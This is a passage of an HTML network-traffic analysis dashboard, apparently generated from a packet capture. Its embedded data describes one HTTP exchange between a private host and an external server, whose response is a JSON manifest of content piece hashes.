<button class=\"replay-btn\" id=\"play-pause\" onclick=\"toggleReplay()\">\n                    <i class=\"fas fa-play\" id=\"play-icon\"></i>\n                </button>\n                <input type=\"range\" class=\"timeline-slider\" id=\"timeline\" min=\"0\" max=\"100\" value=\"0\" oninput=\"seekReplay(this.value)\">\n                <div id=\"time-display\" style=\"font-family: monospace; font-size: 0.8rem; color: var(--text-secondary); width: 140px;\">00:00:00.000</div>\n            </div>\n\n            <div class=\"internal-nodes-tray\" id=\"internal-tray\" style=\"display:none;\">\n                <div class=\"sec-title\">Internal Assets</div>\n                <div id=\"internal-node-list\"></div>\n            </div>\n        </div>\n\n        <div id=\"side-inspector\">\n            <div class=\"inspector-header\">\n                <h2 id=\"inspect-title\">Selection Inspector</h2>\n                <p id=\"inspect-subtitle\" style=\"font-size: 0.8rem; color: var(--text-secondary);\">Select a node or flow on map</p>\n            </div>\n            <div class=\"inspector-content\" id=\"inspect-body\">\n                <div style=\"text-align: center; color: #94a3b8; margin-top: 50px;\">\n                    <i class=\"fas fa-search-location\" style=\"font-size: 3rem; margin-bottom: 20px;\"></i>\n                    <p>Analysis initialized. Click map elements or use replay to investigate flows.</p>\n                </div>\n            </div>\n        </div>\n    </div>\n\n    </div>\n\n    <script>\n        const nodes = [{\"id\": \"10.152.152.11\", \"ip\": \"10.152.152.11\", \"packet_count\": 13, \"total_bytes_sent\": 796, \"total_bytes_received\": 4741, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"HTTPRequest\", \"HTTPResponse\", \"Raw\"], \"ports_used\": [64032], \"first_seen\": 1783599768.908556, \"last_seen\": 1783599779.609238, \"packets\": [{\"num\": 0, \"time\": 1783599768.908556, \"size\": 66, \"direction\": \"sent\"}, {\"num\": 1, \"time\": 1783599768.908583, \"size\": 66, \"direction\": \"received\"}, {\"num\": 2, \"time\": 1783599768.90887, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 3, \"time\": 1783599768.908905, \"size\": 460, \"direction\": \"sent\"}, {\"num\": 4, \"time\": 1783599768.908909, \"size\": 54, \"direction\": \"received\"}, {\"num\": 5, \"time\": 1783599770.52902, \"size\": 4102, \"direction\": \"received\"}, {\"num\": 6, \"time\": 1783599770.529303, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 7, \"time\": 1783599770.529325, \"size\": 411, \"direction\": \"received\"}, {\"num\": 8, \"time\": 1783599770.529443, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 9, \"time\": 1783599779.608912, \"size\": 54, \"direction\": \"received\"}, {\"num\": 10, \"time\": 1783599779.60909, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 11, \"time\": 1783599779.609222, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 12, \"time\": 1783599779.609238, \"size\": 54, \"direction\": \"received\"}], \"is_private\": true, \"is_server\": true, \"is_client\": false, \"suspicious_score\": 0.0, \"geo\": {\"country\": \"Internal\", \"city\": \"Private Network\", \"lat\": 0.0, \"lon\": 0.0, \"asn\": \"Unknown\", \"isp\": \"Unknown\", \"network\": \"Unknown\"}, \"duration\": 10.700681924819946, \"avg_packet_size\": 425.9230769230769, \"packets_per_second\": 1.2148758454212947}, {\"id\": \"77.111.102.205\", \"ip\": \"77.111.102.205\", \"packet_count\": 13, \"total_bytes_sent\": 4741, \"total_bytes_received\": 796, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"HTTPRequest\", \"HTTPResponse\", \"Raw\"], \"ports_used\": [80], \"first_seen\": 1783599768.908556, \"last_seen\": 1783599779.609238, \"packets\": [{\"num\": 0, \"time\": 1783599768.908556, \"size\": 66, \"direction\": \"received\"}, {\"num\": 1, \"time\": 1783599768.908583, \"size\": 66, \"direction\": \"sent\"}, {\"num\": 2, \"time\": 1783599768.90887, \"size\": 54, \"direction\": \"received\"}, {\"num\": 3, \"time\": 1783599768.908905, \"size\": 460, \"direction\": \"received\"}, {\"num\": 4, \"time\": 1783599768.908909, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 5, \"time\": 1783599770.52902, \"size\": 4102, \"direction\": \"sent\"}, {\"num\": 6, \"time\": 1783599770.529303, \"size\": 54, \"direction\": \"received\"}, {\"num\": 7, \"time\": 1783599770.529325, \"size\": 411, \"direction\": \"sent\"}, {\"num\": 8, \"time\": 1783599770.529443, \"size\": 54, \"direction\": \"received\"}, {\"num\": 9, \"time\": 1783599779.608912, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 10, \"time\": 1783599779.60909, \"size\": 54, \"direction\": \"received\"}, {\"num\": 11, \"time\": 1783599779.609222, \"size\": 54, \"direction\": \"received\"}, {\"num\": 12, \"time\": 1783599779.609238, \"size\": 54, \"direction\": \"sent\"}], \"is_private\": false, \"is_server\": false, \"is_client\": true, \"suspicious_score\": 0.0, \"geo\": {\"country\": \"United States\", \"city\": \"Unknown\", \"lat\": 37.751, \"lon\": -97.822, \"asn\": 215724, \"isp\": \"Edgevana, Inc.\", \"network\": \"77.111.102.0/23\"}, \"duration\": 10.700681924819946, \"avg_packet_size\": 425.9230769230769, \"packets_per_second\": 1.2148758454212947}];\n        const edges = [{\"source\": \"10.152.152.11\", \"target\": \"77.111.102.205\", \"packet_count\": 7, \"total_bytes\": 796, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"HTTPRequest\"], \"src_ports\": [64032], \"dst_ports\": [80], \"first_packet\": 1783599768.908556, \"last_packet\": 1783599779.609222, \"packets\": [{\"packet_number\": 0, \"timestamp\": 1783599768.908556, \"timestamp_iso\": \"2026-07-09T17:52:48.908556\", \"timestamp_human\": \"2026-07-09 17:52:48.908\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"77.111.102.205\", \"ttl\": 128, \"ip_id\": 54145, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64032, \"dst_port\": 80, \"tcp_seq\": 3187970488, \"tcp_ack\": 0, \"tcp_window\": 64240, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": true, \"RST\": false, \"PSH\": false, \"ACK\": false, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"SYN\"}, {\"packet_number\": 2, \"timestamp\": 1783599768.90887, \"timestamp_iso\": \"2026-07-09T17:52:48.908870\", \"timestamp_human\": \"2026-07-09 17:52:48.908\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"77.111.102.205\", \"ttl\": 128, \"ip_id\": 54146, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64032, \"dst_port\": 80, \"tcp_seq\": 3187970489, \"tcp_ack\": 1993403768, \"tcp_window\": 1026, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 3, \"timestamp\": 1783599768.908905, \"timestamp_iso\": \"2026-07-09T17:52:48.908905\", \"timestamp_human\": \"2026-07-09 17:52:48.908\", \"size\": 460, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"HTTPRequest\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"77.111.102.205\", \"ttl\": 128, \"ip_id\": 54147, \"ip_len\": 446, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64032, \"dst_port\": 80, \"tcp_seq\": 3187970489, \"tcp_ack\": 1993403768, \"tcp_window\": 1026, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 6, \"timestamp\": 1783599770.529303, \"timestamp_iso\": \"2026-07-09T17:52:50.529303\", \"timestamp_human\": \"2026-07-09 17:52:50.529\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"77.111.102.205\", \"ttl\": 128, \"ip_id\": 54148, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64032, \"dst_port\": 80, \"tcp_seq\": 3187970895, \"tcp_ack\": 1993407816, \"tcp_window\": 1026, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 8, \"timestamp\": 1783599770.529443, \"timestamp_iso\": \"2026-07-09T17:52:50.529443\", \"timestamp_human\": \"2026-07-09 17:52:50.529\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"77.111.102.205\", \"ttl\": 128, \"ip_id\": 54149, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64032, \"dst_port\": 80, \"tcp_seq\": 3187970895, \"tcp_ack\": 1993408173, \"tcp_window\": 1025, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 10, \"timestamp\": 1783599779.60909, \"timestamp_iso\": \"2026-07-09T17:52:59.609090\", \"timestamp_human\": \"2026-07-09 17:52:59.609\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"77.111.102.205\", \"ttl\": 128, \"ip_id\": 54150, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64032, \"dst_port\": 80, \"tcp_seq\": 3187970895, \"tcp_ack\": 1993408174, \"tcp_window\": 1025, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 11, \"timestamp\": 1783599779.609222, \"timestamp_iso\": \"2026-07-09T17:52:59.609222\", \"timestamp_human\": \"2026-07-09 17:52:59.609\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"77.111.102.205\", \"ttl\": 128, \"ip_id\": 54151, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64032, \"dst_port\": 80, \"tcp_seq\": 3187970895, \"tcp_ack\": 1993408174, \"tcp_window\": 1025, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": true, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"FIN,ACK\"}], \"tcp_flags\": {\"SYN\": 1, \"ACK\": 6, \"PSH\": 1, \"FIN\": 1}, \"packet_sizes\": [66, 54, 460, 54, 54, 54, 54], \"inter_packet_intervals\": [0.0003139972686767578, 3.504753112792969e-05, 1.6203980445861816, 0.0001399517059326172, 9.079647064208984, 0.00013184547424316406], \"connection_type\": \"TCP Connection\", \"threat_level\": \"low\", \"duration\": 10.700665950775146, \"avg_packet_size\": 113.71428571428571, \"packets_per_second\": 0.6541648933067503, \"bytes_per_second\": 74.38789358173904, \"min_packet_size\": 54, \"max_packet_size\": 460, \"median_packet_size\": 54, \"avg_interval\": 1.7834443251291912, \"min_interval\": 3.504753112792969e-05, \"max_interval\": 9.079647064208984}, {\"source\": \"77.111.102.205\", \"target\": \"10.152.152.11\", \"packet_count\": 6, \"total_bytes\": 4741, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"HTTPResponse\", \"Raw\"], \"src_ports\": [80], \"dst_ports\": [64032], \"first_packet\": 1783599768.908583, \"last_packet\": 1783599779.609238, \"packets\": [{\"packet_number\": 1, \"timestamp\": 1783599768.908583, \"timestamp_iso\": \"2026-07-09T17:52:48.908583\", \"timestamp_human\": \"2026-07-09 17:52:48.908\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"77.111.102.205\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 0, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 80, \"dst_port\": 64032, \"tcp_seq\": 1993403767, \"tcp_ack\": 3187970489, \"tcp_window\": 64240, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": true, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"SYN,ACK\"}, {\"packet_number\": 4, \"timestamp\": 1783599768.908909, \"timestamp_iso\": \"2026-07-09T17:52:48.908909\", \"timestamp_human\": \"2026-07-09 17:52:48.908\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"77.111.102.205\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 57215, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 80, \"dst_port\": 64032, \"tcp_seq\": 1993403768, \"tcp_ack\": 3187970895, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 5, \"timestamp\": 1783599770.52902, \"timestamp_iso\": \"2026-07-09T17:52:50.529020\", \"timestamp_human\": \"2026-07-09 17:52:50.529\", \"size\": 4102, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"HTTPResponse\", \"Raw\"], \"src_ip\": \"77.111.102.205\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 57216, \"ip_len\": 4088, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 80, \"dst_port\": 64032, \"tcp_seq\": 1993403768, \"tcp_ack\": 3187970895, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 3436, \"payload_preview\": \"7b224d616a6f7256657273696f6e223a312c224d696e6f7256657273696f6e223a302c22486173684f66486173686573223a2271416957414e73434f314d756d4452553462324654635371486976593934675853464758646972524471343d222c22486173684f66486173686573537472696e67223a2271416957414e73434f314d756d4452553462324654635371486976593934675853464758646972524471343d222c22436f6e74656e744c656e677468223a37393234303630352c22506965636553697a65223a313034383537362c22506965636573223a5b2236336532666e3970354d314a67726f7434324970474d61356265775162424b4c2b656d35306f46622b69343d222c22597558624c676173344c68377750632b2b6556613337453649566465377250466e58346e44676f506b30633d222c224b36696f387735713872346a766342306258626e6b635232626746426477436e6a755847697a634d6d51553d222c223058332b783356312b4a50416a4345354e6732306765723566446531476741596f6c3553774a6f45422b303d222c226d6a7456713273456d78366b62386269436b6952776b67722b6378316e73367448586c76774b75786130493d222c2236762b4a6d6e41786344384568316145702b61315564754a4f6b6b5a7759566d6e71737341675665416a453d222c22354a476568434f57456b757371556d4c3863426e4e4d767635595148352b51446c6d776a7741504c6d50733d222c2252676f443054474a4959317a4a3039314d71696b6653307356305668553358356655744f6c6e6e53454e773d222c22364953337632773973507555572f416b556a663933557265456a4a3578377644626543536f7066416179593d222c224c50487063753231506f41576d6661314c616268356d4b6e316e61376f473335685163792f5139384974303d222c22457745725269654a3258715a58766443356d37664767577067327148484268334337723267485878454b303d222c2238696566472b537a366971484568495665517747746655517665482f5267705136436639545350385a4c513d222c2236654a495a4769796747774732617648694b4a33476351777037394367487371466b78556f7473436a6f733d222c226f66416f2f49666c424a476641424b723156727a696d766234754d334d386c676d784955366c57744a50513d222c225853652f706748334c7963767837714d4930756837706554753976576c387339316b554b70626633554f413d222c22387074626541313644594f7574732f78326e377a726264346f5264504379335157316e7348734865456b343d222c224d5674664b634d6e366d33756a51595a455a46723445392b6d2b52464d6a65344f3945386c2b632f6266553d222c2279597630754346584a634d594676464d6a2f3158496c4e4679737a707256634454464c6e6954346f6e386f3d222c22544159546762787656497a304c5a614651675979375332364c4538626478396e313371794b5049364871593d222c227256374141446142364f3575577a6559667a554766344d43504d4c6870664b4476642b32783569464256383d222c2254324b2f315545553956476e422b676e49675a6e2f2b4d4673346169436252416d66536c5061456a682f493d222c225978385067614f3962644d67494e6b784e344967777643326a5554384c505a3858507041337656696e79513d222c22486e33306a35447754586244347051615759414a475a4c6668636d43662b4c366f4b6776527a6a4a4c666b3d222c223559442f784146675a366a3155726f574a36725052672f47792b6b4573764567632f2b38646e6c576e57303d222c2239316d4f724453445a6a5a785a496d50756237544558374544567463756f76626a64735142773561524a493d222c2266656172354a664874595a454667484f4f6f4336744b4e61477a2b5858467173356d327349476f7a3873773d222c2264754443446d38596e64697733624674476379704471652b776e51504231435a41434c38695a77554f4b6b3d222c22682f4467624e73776b44434b4c6554335a4664775a566e3774314f3465492b364c7649506b723952532b6f3d222c2279505741626b7669434632306f6b304f363462755261305458742f4445563443556f4a796a6b53716732383d222c22594c4f6c59724f5a634b37426d4b62497a31745a53394c2b6249536575674b7973584b746f34524c516c303d222c2277526d344c394e584c627248684f4d72775954396b34354463444c784b62465355342b444e494a4f57706f3d222c22767737544a3279674a6d56496d304c393633395941766b71537845776f4a367059564a55444c474c2f4b343d222c227767767a7265354a564f7553756a6c39486e7631552b3577556f7a4f327a456e626e6930692b755a6a32493d222c2276443348767a347853575855784447634378616a54537651573267354b4c576449364f76787954364c48553d222c224f7a5963324d71356259416476353271594b62326f47703544537965615359656a4a6743306b4430344d413d222c22555156366f747049534e46704335576b48684b2f65566b694b3146696c796663794e7333794d7943434b513d222c2239567659434c435345386f4f65316f774f6e5053475771674873665533796259696b63455746516f77646b3d222c22696a6249626f4a73684f684b4e4f6f6a4563716d346b496d614447776d4d722b4d737a677a4b4b303655343d222c2274426779446c317833364a575774426d2b4675457168624f355a553849506c533030394635443338765a4d3d222c224932416b75474d336c7138765472744a66513837344537526a7171735544787635755735385041654267633d222c2255556d5177523159455a55586a6d4a5348416b6774443678504c46524f79787a464131574c493056786b553d222c22415238664d6c7a3241436d6661743233685634644e67713069674834416536474842677669616f2b4674773d222c22324134754c624463457044557a2f5079684e5a65384a324256657664483154522b43534141462b5665726f3d222c225138623349365561632b5071456b4759542f7555537679757a4e5966376e4950436e4748366939455364413d222c22613261553259616f6c33502b4d716b7045694a2b4945746d366a6937757a587353376a425043525a7367553d222c2237545053646c6a6f64717931713268686d546f6534755159637277595754522b47707a3147784e4c4d334d3d222c224c6345795236756d53347270672b446c59466f6d59337365784c3135547842304f44667076765a386a546b3d222c22485267784b6c624b6d526b59474f487a783063644f716c6248743859494c696441487a684839456a6858773d222c22396c526d61534333456176634c646b3947574c30764733514873576f542f64736458386d616f726f2f4e413d222c2273576349662f59644b7938714155666f4344527457324c6c444b4957726a41717a59514c776c66313351413d222c22726f6f33544f5444524c4e644f3365714d6354396d6b69302f666e776e39633467476638415930355957303d222c226c42482b575739674e7a677961346b747632694e53684a4a666b555868497468436b794d4c4d71495370673d222c22395571446e35537a31474172426148396f452b515575347668674b5a7a305030546771394b6476704a53343d222c226764646541515556594f3165765874702b4f5a39483547334f746143795a6e3777596471664c4643595a553d222c2230794f43614e6f54547166655131763078466a74747a454e486e67786178726e724d7852585a57336765553d222c227547624d506975745074506c6948614c47346164586c4137384961644b5444777970674931686632706f553d222c225969646648364d6d663971505a7a745341376d4953507559444f65334d484b6767646441576b53526349493d222c224864365253354d3144307a467a61635455616a546743544b2f542f386533457047534d33324f4933546f553d222c224a3632625a4a505868744f56686f796e65386875475a79446742496142676279777738556c6748375368553d222c227a4f726842667769725241614b79374250466b74536f674639442b436a4a71597956725058385a4a3559773d222c22645261414f516c71443730567a6236466f45323832526f666a79672f774162624339444c4939515a7470673d222c22595541452f4b6457592b7254754e3656385044632f41716177426f437465655a62764d2f4b7a4e7343776f3d222c2258355a4f655a342b5264754f4f6935447a47506b6b783566663570512f4d3650377a394a725334516b52383d222c222f7a537564754b656962594164454f445751384f7854524f384f6c3452723146346777466e7949413032633d222c22444f30686b68533031672f5966316b4142455274516d5276674d715579454f332f6974307067794b3379553d222c22423379462b6777484d636d716b6c744b2f34746943422b41597a542b7165727844626b59764c4d62694f343d222c222b456a39346d50314a51664945594c6241614d4a4f464d6a457263594b7065654e5539624b656c4a6c6c303d222c225634626967762b7a42393776723447745a4c4a676c556c51316e6b4b332b544262544b6f76757062567a6b3d222c225234354d316c7531667a7039766f4b41725266\", \"payload_ascii\": \"{\\\"MajorVersion\\\":1,\\\"MinorVersion\\\":0,\\\"HashOfHashes\\\":\\\"qAiWANsCO1MumDRU4b2FTcSqHivY94gXSFGXdirRDq4=\\\",\\\"HashOfHashesString\\\":\\\"qAiWANsCO1MumDRU4b2FTcSqHivY94gXSFGXdirRDq4=\\\",\\\"ContentLength\\\":79240605,\\\"PieceSize\\\":1048576,\\\"Pieces\\\":[\\\"63e2fn9p5M1Jgrot42IpGMa5bewQbBKL+em50oFb+i4=\\\",\\\"YuXbLgas4Lh7wPc++eVa37E6IVde7rPFnX4nDgoPk0c=\\\",\\\"K6io8w5q8r4jvcB0bXbnkcR2bgFBdwCnjuXGizcMmQU=\\\",\\\"0X3+x3V1+JPAjCE5Ng20ger5fDe1GgAYol5SwJoEB+0=\\\",\\\"mjtVq2sEmx6kb8biCkiRwkgr+cx1ns6tHXlvwKuxa0I=\\\",\\\"6v+JmnAxcD8Eh1aEp+a1UduJOkkZwYVmnqssAgVeAjE=\\\",\\\"5JGehCOWEkusqUmL8cBnNMvv5YQH5+QDlmwjwAPLmPs=\\\",\\\"RgoD0TGJIY1zJ091MqikfS0sV0VhU3X5fUtOlnnSENw=\\\",\\\"6IS3v2w9sPuUW/AkUjf93UreEjJ5x7vDbeCSopfAayY=\\\",\\\"LPHpcu21PoAWmfa1Labh5mKn1na7oG35hQcy/Q98It0=\\\",\\\"EwErRieJ2XqZXvdC5m7fGgWpg2qHHBh3C7r2gHXxEK0=\\\",\\\"8iefG+Sz6iqHEhIVeQwGtfUQveH/RgpQ6Cf9TSP8ZLQ=\\\",\\\"6eJIZGiygGwG2avHiKJ3GcQwp79CgHsqFkxUotsCjos=\\\",\\\"ofAo/IflBJGfABKr1Vrzimvb4uM3M8lgmxIU6lWtJPQ=\\\",\\\"XSe/pgH3Lycvx7qMI0uh7peTu9vWl8s91kUKpbf3UOA=\\\",\\\"8ptbeA16DYOuts/x2n7zrbd4oRdPCy3QW1nsHsHeEk4=\\\",\\\"MVtfKcMn6m3ujQYZEZFr4E9+m+RFMje4O9E8l+c/bfU=\\\",\\\"yYv0uCFXJcMYFvFMj/1XIlNFyszprVcDTFLniT4on8o=\\\",\\\"TAYTgbxvVIz0LZaFQgYy7S26LE8bdx9n13qyKPI6HqY=\\\",\\\"rV7AADaB6O5uWzeYfzUGf4MCPMLhpfKDvd+2x5iFBV8=\\\",\\\"T2K/1UEU9VGnB+gnIgZn/+MFs4aiCbRAmfSlPaEjh/I=\\\",\\\"Yx8PgaO9bdMgINkxN4IgwvC2jUT8LPZ8XPpA3vVinyQ=\\\",\\\"Hn30j5DwTXbD4pQaWYAJGZLfhcmCf+L6oKgvRzjJLfk=\\\",\\\"5YD/xAFgZ6j1UroWJ6rPRg/Gy+kEsvEgc/+8dnlWnW0=\\\",\\\"91mOrDSDZjZxZImPub7TEX7EDVtcuovbjdsQBw5aRJI=\\\",\\\"fear5JfHtYZEFgHOOoC6tKNaGz+XXFqs5m2sIGoz8sw=\\\",\\\"duDCDm8Yndiw3bFtGcypDqe+wnQPB1CZACL8iZwUOKk=\\\",\\\"h/DgbNswkDCKLeT3ZFdwZVn7t1O4eI+6LvIPkr9RS+o=\\\",\\\"yPWAbkviCF20ok0O64buRa0TXt/DEV4CUoJyjkSqg28=\\\",\\\"YLOlYrOZcK7BmKbIz1tZS9L+bISeugKysXKto4RLQl0=\\\",\\\"wRm4L9NXLbrHhOMrwYT9k45DcDLxKbFSU4+DNIJOWpo=\\\",\\\"vw7TJ2ygJmVIm0L9639YAvkqSxEwoJ6pYVJUDLGL/K4=\\\",\\\"wgvzre5JVOuSujl9Hnv1U+5wUozO2zEnbni0i+uZj2I=\\\",\\\"vD3Hvz4xSWXUxDGcCxajTSvQW2g5KLWdI6OvxyT6LHU=\\\",\\\"OzYc2Mq5bYAdv52qYKb2oGp5DSyeaSYejJgC0kD04MA=\\\",\\\"UQV6otpISNFpC5WkHhK/eVkiK1FilyfcyNs3yMyCCKQ=\\\",\\\"9VvYCLCSE8oOe1owOnPSGWqgHsfU3ybYikcEWFQowdk=\\\",\\\"ijbIboJshOhKNOojEcqm4kImaDGwmMr+MszgzKK06U4=\\\",\\\"tBgyDl1x36JWWtBm+FuEqhbO5ZU8IPlS009F5D38vZM=\\\",\\\"I2AkuGM3lq8vTrtJfQ874E7RjqqsUDxv5uW58PAeBgc=\\\",\\\"UUmQwR1YEZUXjmJSHAkgtD6xPLFROyxzFA1WLI0VxkU=\\\",\\\"AR8fMlz2ACmfat23hV4dNgq0igH4Ae6GHBgviao+Ftw=\\\",\\\"2A4uLbDcEpDUz/PyhNZe8J2BVevdH1TR+CSAAF+Vero=\\\",\\\"Q8b3I6Uac+PqEkGYT/uUSvyuzNYf7nIPCnGH6i9ESdA=\\\",\\\"a2aU2Yaol3P+MqkpEiJ+IEtm6ji7uzXsS7jBPCRZsgU=\\\",\\\"7TPSdljodqy1q2hhmToe4uQYcrwYWTR+Gpz1GxNLM3M=\\\",\\\"LcEyR6umS4rpg+DlYFomY3sexL15TxB0ODfpvvZ8jTk=\\\",\\\"HRgxKlbKmRkYGOHzx0cdOqlbHt8YILidAHzhH9EjhXw=\\\",\\\"9lRmaSC3EavcLdk9GWL0vG3QHsWoT/dsdX8maoro/NA=\\\",\\\"sWcIf/YdKy8qAUfoCDRtW2LlDKIWrjAqzYQLwlf13QA=\\\",\\\"roo3TOTDRLNdO3eqMcT9mki0/fnwn9c4gGf8AY05YW0=\\\",\\\"lBH+WW9gNzgya4ktv2iNShJJfkUXhIthCkyMLMqISpg=\\\",\\\"9UqDn5Sz1GArBaH9oE+QUu4vhgKZz0P0Tgq9KdvpJS4=\\\",\\\"gddeAQUVYO1evXtp+OZ9H5G3OtaCyZn7wYdqfLFCYZU=\\\",\\\"0yOCaNoTTqfeQ1v0xFjttzENHngxaxrnrMxRXZW3geU=\\\",\\\"uGbMPiutPtPliHaLG4adXlA78IadKTDwypgI1hf2poU=\\\",\\\"YidfH6Mmf9qPZztSA7mISPuYDOe3MHKggddAWkSRcII=\\\",\\\"Hd6RS5M1D0zFzacTUajTgCTK/T/8e3EpGSM32OI3ToU=\\\",\\\"J62bZJPXhtOVhoyne8huGZyDgBIaBgbyww8UlgH7ShU=\\\",\\\"zOrhBfwirRAaKy7BPFktSogF9D+CjJqYyVrPX8ZJ5Yw=\\\",\\\"dRaAOQlqD70Vzb6FoE282Rofjyg/wAbbC9DLI9QZtpg=\\\",\\\"YUAE/KdWY+rTuN6V8PDc/AqawBoCteeZbvM/KzNsCwo=\\\",\\\"X5ZOeZ4+RduOOi5DzGPkkx5ff5pQ/M6P7z9JrS4QkR8=\\\",\\\"/zSuduKeibYAdEODWQ8OxTRO8Ol4Rr1F4gwFnyIA02c=\\\",\\\"DO0hkhS01g/Yf1kABERtQmRvgMqUyEO3/it0pgyK3yU=\\\",\\\"B3yF+gwHMcmqkltK/4tiCB+AYzT+qerxDbkYvLMbiO4=\\\",\\\"+Ej94mP1JQfIEYLbAaMJOFMjErcYKpeeNU9bKelJll0=\\\",\\\"V4bigv+zB97vr4GtZLJglUlQ1nkK3+TBbTKovupbVzk=\\\",\\\"R45M1lu1fzp9voKArRf\"}, {\"packet_number\": 7, \"timestamp\": 1783599770.529325, \"timestamp_iso\": \"2026-07-09T17:52:50.529325\", \"timestamp_human\": \"2026-07-09 17:52:50.529\", \"size\": 411, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"Raw\"], \"src_ip\": \"77.111.102.205\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 57219, \"ip_len\": 397, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 80, \"dst_port\": 64032, \"tcp_seq\": 1993407816, \"tcp_ack\": 3187970895, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 357, \"payload_preview\": 